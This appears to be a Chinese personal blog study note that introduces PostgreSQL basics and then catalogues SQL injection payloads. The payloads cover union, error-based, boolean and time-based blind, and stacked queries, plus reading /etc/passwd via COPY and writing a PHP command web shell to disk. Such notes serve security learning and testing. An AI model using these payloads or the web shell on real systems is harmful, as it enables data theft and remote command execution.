M0deration's blog.

postgresql初探

字数统计: 1.7k阅读时长: 7 min
2020/12/13 Share

端口号:5432

下载

window下启动,切换到postgresql的bin目录下

1
2
initdb.exe -D ../data
pg_ctl.exe start -D ../data

就会显示启动了

linux下启动

1
2
sudo -i -u postgres
psql

以下测试都是linux下测试

基础语法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
\l					--查看所有数据库
\dt --查看表
\password username --修改密码
\password --设置密码。
\? --查看psql命令列表。
\c [database_name] --连接其他数据库,切换数据库。
\conninfo --列出当前数据库和连接的信息。
\d --列出当前数据库的所有表格。
\d [table_name] --列出某一张表格的结构。
\du --列出所有用户。
\e --打开文本编辑器。
help --帮助
\h --查看SQL命令的解释,比如\h select。
\q --退出

创建数据库

1
create database test

查看所有数据库

1
\l											#(list)

创建表

1
2
3
4
5
CREATE TABLE users(
id INT PRIMARY KEY NOT NULL,
Name TEXT NOT NULL,
Password TEXT NOT NULL
);

查看表格\d

查看表格信息\d tablename,这个只是查看表的信息,不是看表的内容,表的内容还是需要select * from users

1
2
3
4
5
6
7
8
9
test=# \d users
数据表 "public.users"
栏位 | 类型 | Collation | Nullable | Default
----------+---------+-----------+----------+---------
id | integer | | not null |
name | text | | not null |
password | text | | not null |
索引:
"users_pkey" PRIMARY KEY, btree (id)

删除表

drop table tablename

插入数据

1
insert into users (id,Name,Password) values (1,'admin','admin');

数据如果string单引号''包裹

运算符

运算符 描述 实例
+ a + b 结果为 5
- a - b 结果为 -1
* a * b 结果为 6
/ b / a 结果为 1
% 模(取余) b % a 结果为 1
^ 指数 a ^ b 结果为 8
|/ 平方根 |/ 25.0 结果为 5
||/ 立方根 ||/ 27.0 结果为 3
! 阶乘 5 ! 结果为 120
!! 阶乘(前缀操作符) !! 5 结果为 120

后面这几个比较特殊和mysql有点不太一样

这里还有一个比较特别的||这个在mysql中一般是or的含义,但是postgresql中||是连接符

1
2
3
4
5
6
select id||name||password from public.users;
postgres=# select id||name||password from public.users;
?column?
-------------
1adminadmin
(1 row)

where和mysql一样

查看当前数据库

1
select current_database();

查看当前用户

1
select current_user;

注入部分

postgresql是一款关系型数据库,广泛应用在web编程当中,由于其语法与MySQL不尽相同,所以其SQL注入又自成一派。

基础的类似

1
2
id = 1' and '1'='1					#and -> or
id = 1' and '1'='2 #and -> or

这里尝试测试字段数,只能通过order by来测试,postgresql数据库没有#作为注释

1
2
3
?uid=1 order by 1,2,3                    #运行正常
?uid=1 order by 1,2,3,4 #运行异常,获取字段数3s
?uid=1 union select ('1'),('2'),('3')-- #可以看到显示的字段

这里需要注意的一点是postgresql使用数字1,2,3和mysql数据库有点不同,所以如果只需要占位就用NULL就好了

联合注入

获取模式名称(schemaname)

1
2
3
4
5
6
7
8
select * from users where id=1 UNION SELECT NULL,COALESCE(CAST(schemaname AS CHARACTER(10000)),(CHR(32))),NULL FROM pg_tables--

语法
coalesce(success_cnt, 1)
当success_cnt 为null值的时候,将返回1,否则将返回success_cnt的真实值,所以上面的payload只是用这个始只是避免null

下面语句可以达到同样效果
select * from users where id=1 UNION SELECT NULL,schemaname,NULL FROM pg_tables--

获取数据库名

1
select * from users where id=1 UNION SELECT NULL,current_database(),NULL--

查询表名(稍微有点不同),大体结构相同

1
select * from users where id=0 UNION SELECT NULL,tablename,NULL FROM pg_tables where schemaname in ('public')--

获取字段名

可以查一下官方文档的系统目录(9.5之前叫系统表)

字段名:attname

这里我查看了官方文档,我看的是10的版本只有pg_statspg_attribute两个表中有attname(字段名),

pg_attribute表中无schemanametablename这类可以直接联系的,只能通过join来连接,这里是sqlmap里面的payload化简

1
select * from users where id=1 UNION SELECT NULL,attname,NULL FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='tbuser' AND nspname='public'--

relname name 表、索引、视图等的名字 #来自pg_class表

nspname name 名字空间的名字 #来自pg_namespace表

pg_stats中有这两个字段

image-20201210191026604

但是有问题,好像只有先使用analyze之后才能查询表名

这样导致我们只能在能使用堆叠注入多语句的时候才能使用,这里应该放在堆叠注入,但是万一如果这个数据库已经执行过analyze,这里不就可以用了是吧

image-20201210191536138

最后查询字段数据

1
select id||','||name||','||password from public.users;

报错

获取版本号:

cast函数

转换类型

cast

1
select * from xxx where id=1 AND 7778=CAST((SELECT version())::text AS NUMERIC)

这里看一下基本语法

1
2
version()::text 			#数据类型转换为text类型
cast ('1' as numeric) #1转换为数字类型

这里得到的version()转换成数字类型会导致报错,爆出version的具体数值

获取 Schemas 名称

1
select * from xxx where id=1 AND 7778=CAST((SELECT schemaname FROM pg_tables limit 1)::text AS NUMERIC)

这里的pg_tables是视图,视图pg_tables提供对数据库中每个表的信息的访问

image-20201208215206476

这里感觉比较有用的是schemaname(包含表的模式名)、tablename(表名)、tableowner表的拥有者

1
2
3
4
5
6
7
8
9
10
11
12
13
test=# select  tablename FROM pg_tables limit 1;
tablename
-----------
users
(1 行记录)
test=# select tablename FROM pg_tables limit 4;
tablename
--------------
users
pg_statistic
pg_type
pg_policy
(4 行记录)

这里的limit也和mysql有点不同,只需要一个limit 1就可以

boolean盲注

1
case when 判断语句 then 正确返回结果 else 错误返回结果 end
1
select * from users where id=1 and 1=(case when ascii(substr(password,1,1))=97 then 1 ELSE 0 END);

时间盲注

基于时间的盲注(time-based blind)

1
AND 6489=(SELECT 6489 FROM PG_SLEEP(5))

roar2020

1
admin'/**/and/**/1=(case/**/when/**/ascii(substr(password,{},1))={}/**/then/**/(select/**/1/**/from/**/pg_sleep(10))/**/ELSE/**/1/**/END)--

本机

1
select * from users where id=1 and 1=(case when ascii(substr(password,1,1))=97 then (select 1 from pg_sleep(10)) ELSE 1 END);

堆叠

基于堆叠查询(多语句查询,stacked queries)

1
?uid=1;select PG_SLEEP(5)--

pg_stats中有这两个字段

image-20201210191026604

但是有问题,好像只有先使用analyze之后才能查询表名

这样导致我们只能在能使用堆叠注入多语句的时候才能使用,这里应该放在堆叠注入

image-20201210191536138

参考信安之路

读文件

1
;CREATE TABLE passwd(t TEXT);COPY passwd FROM '/etc/passwd';SELECT NULL,t,NULL FROM passwd;

image-20201212182943249

写文件

  1. 绝对路径
  2. 有写入权限
1
2
3
4
5
6
DROP TABLE pwn;			#当然这里是之前有这个table所以先删除一下
CREATE TABLE pwn (t TEXT);
INSERT INTO pwn(t) VALUES ('<?php @system("$_GET[cmd]");?>');
SELECT * FROM pwn;
COPY pwn(t) TO '/tmp/cmd.php';
DROP TABLE pwn;

参考:https://www.jianshu.com/p/ba0297da2c2e

https://www.freebuf.com/articles/web/249371.html

CATALOG
  1. 1. 基础语法
  • 注入部分
    1. 1. 联合注入
    2. 2. 报错
    3. 3. boolean盲注
    4. 4. 时间盲注
    5. 5. 堆叠